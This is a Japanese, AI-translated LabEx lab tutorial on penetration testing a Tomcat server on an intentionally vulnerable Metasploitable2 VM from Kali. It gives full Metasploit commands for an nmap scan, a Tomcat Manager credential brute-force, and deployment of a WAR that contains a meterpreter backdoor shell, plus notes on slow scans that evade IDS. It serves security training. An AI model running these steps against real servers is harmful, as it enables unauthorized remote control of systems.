はじめに
この実験では、Tomcat の脆弱性を悪用する原理と攻撃のプロセスについて学びます。攻撃プロセス中に、Kali Linux の使い方を学び、Kali に搭載されている攻撃フレームワークである Metasploit Framework (MSF) を理解します。この実験で攻撃対象となるターゲットマシンは Metasploitable2 で、LabEx が提供する Kali 環境をベースに行います。
💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください
この実験では、Tomcat の脆弱性を悪用する原理と攻撃のプロセスについて学びます。攻撃プロセス中に、Kali Linux の使い方を学び、Kali に搭載されている攻撃フレームワークである Metasploit Framework (MSF) を理解します。この実験で攻撃対象となるターゲットマシンは Metasploitable2 で、LabEx が提供する Kali 環境をベースに行います。
典型的なペネトレーションテストでは、ターゲットマシンに対してさらなる攻撃を行う必要があります。まず最初に行うことは、ターゲットマシンに対してペネトレーションスキャンを実行することです。スキャンの過程で、マシンが提供しているサービスを発見し、入手した情報に基づいて脆弱性の有無を判断することができます。次に、潜在的な脆弱性を突いて攻撃を試み、最終的にターゲットマシンを乗っ取り、その脆弱性を取得します。
sudo virsh start Metasploitable2
ターゲットマシンが起動するのを待ちます。起動には 1 - 3 分かかる場合があります。
ping 192.168.122.102
Ctrl+C
を押して ping を停止します。
docker run -ti --network host b5b709a49cd5 bash
ping 192.168.122.102
Ctrl+C
を押して ping を停止します。
これで攻撃マシンとターゲットマシンの両方が起動しており、ペネトレーションテストを開始することができます。
cd ~
msfconsole
nmap -sV -T5 target
上記のコマンドで、-T
はスキャン速度を設定します。
パラメータ | 意味 |
---|---|
nmap T0 |
非常に遅いスキャン、IDS (侵入検知システム) を回避するために使用 |
nmap T1 |
遅いスキャン、速度は 0 と 2 の間、一部の IDS を回避することもできます |
nmap T2 |
スキャン速度を低下させる、通常は使用されません |
nmap T3 |
デフォルトのスキャン速度 |
nmap T4 |
ターゲットをフラッドする可能性があり、ファイアウォールをトリガーする可能性が高い |
nmap T5 |
非常に速いスキャン速度、精度を犠牲にして速度を優先 |
Ctrl+D を押して Metasploit コンソールを終了し、検査を開始します
このステップでは、Tomcat の脆弱性を悪用して攻撃を開始します。auxiliary/scanner/http/tomcat_mgr_login
モジュールを使用します。このモジュールは、特定のユーザー名とパスワードのセットを使って Tomcat Manager にログインを試みます。ログインに成功すると、結果を出力します。
攻撃モジュールのコード:
スキャン結果から、ポート 8180
が開いていることがわかります。このポートに対して攻撃を試みましょう。まず、MSF ターミナルで Tomcat モジュールを検索し、対応する脆弱性モジュールがあるか確認します。
cd ~
msfconsole
search
を使って適切なモジュールを探します。search tomcat
use
コマンドを使って適切なモジュールを選択します。use auxiliary/scanner/http/tomcat_mgr_login
show options
set
コマンドを使ってパラメータを設定します。set RHOSTS 192.168.122.102
set RPORT 8180
exploit
Ctrl+D を押して Metasploit コンソールを終了し、検査を開始します
対応するモジュールから Tomcat パスワードを取得した後、そのパスワードを使ってターゲットマシンに対してペネトレーションを行います。exploit/multi/http/tomcat_mgr_deploy
モジュールを使用します。このモジュールは Tomcat Manager にログインし、ペイロードを実行します。このペイロードは PUT 操作を使って WAR パッケージをアップロードし、この WAR パッケージには meterpreter バックドアシェルを提供する JSP ファイルが含まれています。
攻撃モジュールのコード:
cd ~
msfconsole
search tomcat
use exploit/multi/http/tomcat_mgr_deploy
show
コマンドを使って必要なパラメータを表示します。show options
set rhost 192.168.122.102
set rport 8180
httpusername
アカウント名を設定します。set httpusername tomcat
httppassword
パスワードを設定します。set httppassword tomcat
exploit
sysinfo
whoami
を入力しないでください。ここで使用している meterpreter ペイロードは hostname
、id
、whoami
などのコマンドをサポートしていないため、エラーが発生します。サポートされているコマンドを確認するには、help
コマンドを使用できます。
以下のように、オペレーティングシステムの情報が表示されます。
Computer : metasploitable
OS : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter : java/linux
Ctrl+D を押して Metasploit コンソールを終了し、検査を開始します
この実験では、Tomcat の脆弱性の原理と攻撃のプロセスについて学びました。一般的に、ペネトレーションテストを行う前に、ターゲットマシンに関する情報を収集する必要があります。情報収集の過程で、脆弱性をよりよく発見し、ターゲットマシンを乗っ取ることができます。この実験を完了したら、以下の知識ポイントを習得しているはずです。